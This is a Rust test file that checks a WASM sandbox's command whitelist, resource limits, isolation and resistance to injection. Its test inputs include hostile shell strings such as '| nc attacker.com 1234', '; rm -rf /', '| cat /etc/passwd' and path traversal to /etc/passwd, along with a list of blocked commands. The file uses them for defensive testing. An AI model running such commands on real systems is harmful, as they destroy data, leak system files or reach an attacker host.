// Security Tests for RLM Sandbox // Tests require: Docker (for sandbox testing) // // Run with: // cargo test -p vapora-rlm --test security_test -- --ignored --nocapture use vapora_rlm::sandbox::wasm_runtime::WasmRuntime; use vapora_rlm::sandbox::{SandboxCommand, SandboxTier}; #[test] #[ignore] // Requires WASM runtime fn security_wasm_no_filesystem_write() { let runtime = WasmRuntime::new(); // Attempt to write to filesystem (should be blocked) let command = SandboxCommand::new("write_file") .arg("/etc/passwd") .stdin("malicious content"); let result = runtime.execute(&command); // Should reject unsupported command assert!(result.is_err(), "Should reject filesystem write operations"); println!("✓ WASM filesystem write blocked"); } #[test] #[ignore] // Requires WASM runtime fn security_wasm_no_network_access() { let runtime = WasmRuntime::new(); // Attempt network operation (should be blocked) let command = SandboxCommand::new("curl").arg("http://example.com"); let result = runtime.execute(&command); // Should reject unsupported command assert!(result.is_err(), "Should reject network operations"); println!("✓ WASM network access blocked"); } #[test] #[ignore] // Requires WASM runtime fn security_wasm_only_safe_commands() { let runtime = WasmRuntime::new(); // Test allowed commands let safe_commands = vec!["peek", "grep", "slice"]; for cmd in safe_commands { let command = SandboxCommand::new(cmd).stdin("safe input"); let result = runtime.execute(&command); assert!(result.is_ok(), "Safe command '{}' should be allowed", cmd); } // Test blocked commands let unsafe_commands = vec!["bash", "sh", "python", "rm", "chmod", "sudo"]; for cmd in unsafe_commands { let command = SandboxCommand::new(cmd).stdin("input"); let result = runtime.execute(&command); assert!( result.is_err(), "Unsafe command '{}' should be blocked", cmd ); } println!("✓ WASM command whitelist enforced"); } #[test] #[ignore] // Requires WASM runtime fn security_wasm_input_validation() { let runtime = WasmRuntime::new(); // Test peek with malicious input let malicious_inputs = vec![ "../../../etc/passwd", "/etc/passwd", "$(whoami)", "; rm -rf /", "| nc attacker.com 1234", ]; for input in malicious_inputs { let command = SandboxCommand::new("peek").arg("10").stdin(input); let result = runtime.execute(&command); // Should handle safely (no code injection) assert!(result.is_ok(), "Should handle malicious input safely"); let output = result.unwrap(); assert!(output.is_success(), "Should execute without errors"); // Output should be sanitized (just the input back) assert!( !output.output.contains("root:") && !output.output.contains("password"), "Should not leak system information" ); } println!("✓ WASM input validation passed"); } #[test] #[ignore] // Requires WASM runtime fn security_wasm_no_arbitrary_code_execution() { let runtime = WasmRuntime::new(); // Attempt shell command injection let injections = vec![ "; ls -la", "| cat /etc/passwd", "&& whoami", "`id`", "$(uname -a)", ]; for injection in injections { let command = SandboxCommand::new("grep") .arg(injection) .stdin("test input"); let result = runtime.execute(&command); // Should execute safely (grep treats it as literal pattern) assert!(result.is_ok(), "Should handle injection safely"); let output = result.unwrap(); // Should not execute shell commands assert!( !output.output.contains("uid=") && !output.output.contains("Linux"), "Should not execute injected shell commands" ); } println!("✓ WASM code injection prevention passed"); } #[test] #[ignore] // Requires WASM runtime fn security_wasm_resource_limits() { let runtime = WasmRuntime::new(); // Test with very large input (should handle gracefully) let large_input = "x".repeat(10_000_000); // 10MB let command = SandboxCommand::new("peek").arg("10").stdin(large_input); let start = std::time::Instant::now(); let result = runtime.execute(&command); let duration = start.elapsed(); // Should complete without hanging assert!( duration.as_secs() < 10, "Should complete in reasonable time" ); // Should either succeed or fail gracefully match result { Ok(output) => { assert!(output.is_success(), "Should succeed"); println!(" Handled 10MB input successfully"); } Err(e) => { println!(" Gracefully rejected large input: {}", e); } } println!("✓ WASM resource limits enforced"); } #[test] #[ignore] // Requires WASM runtime fn security_wasm_tier_identification() { let runtime = WasmRuntime::new(); let command = SandboxCommand::new("peek").arg("5").stdin("test input"); let result = runtime.execute(&command).unwrap(); // Verify it reports correct tier assert_eq!( result.tier, SandboxTier::Wasm, "Should execute in WASM tier" ); println!("✓ WASM tier correctly identified"); } #[test] #[ignore] // Requires WASM runtime fn security_wasm_no_side_effects() { let runtime = WasmRuntime::new(); // Execute command multiple times for i in 0..10 { let command = SandboxCommand::new("grep") .arg("test") .stdin(format!("test input {}", i)); let result = runtime.execute(&command).unwrap(); // Each execution should be isolated (no state carryover) assert!(result.is_success(), "Execution {} should succeed", i); } println!("✓ WASM executions are isolated (no side effects)"); } #[test] #[ignore] // Requires WASM runtime fn security_wasm_deterministic_behavior() { let runtime = WasmRuntime::new(); let input = "line1\nline2\nline3\nline4\nline5"; // Run same command multiple times let mut outputs = Vec::new(); for _ in 0..5 { let command = SandboxCommand::new("peek").arg("3").stdin(input); let result = runtime.execute(&command).unwrap(); outputs.push(result.output); } // All outputs should be identical for output in &outputs[1..] { assert_eq!(output, &outputs[0], "Outputs should be deterministic"); } println!("✓ WASM behavior is deterministic"); } #[test] #[ignore] // Requires WASM runtime fn security_wasm_slice_bounds_checking() { let runtime = WasmRuntime::new(); let input = "Hello, World!"; // Test out-of-bounds slice let command = SandboxCommand::new("slice") .arg("0") .arg("1000") // Beyond string length .stdin(input); let result = runtime.execute(&command); // Should handle gracefully (no panic) assert!(result.is_ok(), "Should handle out-of-bounds slice"); let output = result.unwrap(); assert!(output.is_success(), "Should succeed"); assert_eq!(output.output, input, "Should return available content"); println!("✓ WASM slice bounds checking passed"); } #[test] #[ignore] // Requires WASM runtime fn security_wasm_null_byte_handling() { let runtime = WasmRuntime::new(); // Test null byte injection let input = "line1\nline2\0malicious\nline3"; let command = SandboxCommand::new("peek").arg("5").stdin(input); let result = runtime.execute(&command); // Should handle null bytes safely assert!(result.is_ok(), "Should handle null bytes safely"); println!("✓ WASM null byte handling passed"); } #[test] fn security_wasm_creation_always_succeeds() { // Creating WASM runtime should never fail let _runtime1 = WasmRuntime::new(); let _runtime2 = WasmRuntime::default(); // Can create multiple instances let runtimes: Vec<_> = (0..10).map(|_| WasmRuntime::new()).collect(); assert_eq!(runtimes.len(), 10, "Should create multiple runtimes"); println!("✓ WASM runtime creation is safe"); } #[test] #[ignore] // Requires WASM runtime fn security_wasm_concurrent_execution() { use std::sync::Arc; use std::thread; let runtime = Arc::new(WasmRuntime::new()); // Run concurrent executions from multiple threads let handles: Vec<_> = (0..10) .map(|i| { let runtime = runtime.clone(); thread::spawn(move || { let command = SandboxCommand::new("grep") .arg("test") .stdin(format!("test input {}", i)); runtime.execute(&command) }) }) .collect(); // All should succeed for handle in handles { let result = handle.join().unwrap(); assert!(result.is_ok(), "Concurrent execution should succeed"); } println!("✓ WASM concurrent execution is thread-safe"); } #[test] #[ignore] // Requires WASM runtime fn security_wasm_utf8_handling() { let runtime = WasmRuntime::new(); // Test various UTF-8 sequences let utf8_inputs = vec![ "Hello, 世界!", "Rust 🦀 Programming", "Emoji: 😀 💻 🚀", "Math: ∑ ∏ ∫ ∂", "Arabic: مرحبا", "Hebrew: שלום", ]; for input in utf8_inputs { let command = SandboxCommand::new("peek").arg("10").stdin(input); let result = runtime.execute(&command); assert!(result.is_ok(), "Should handle UTF-8: {}", input); let output = result.unwrap(); assert!(output.is_success(), "Should succeed with UTF-8"); } println!("✓ WASM UTF-8 handling passed"); }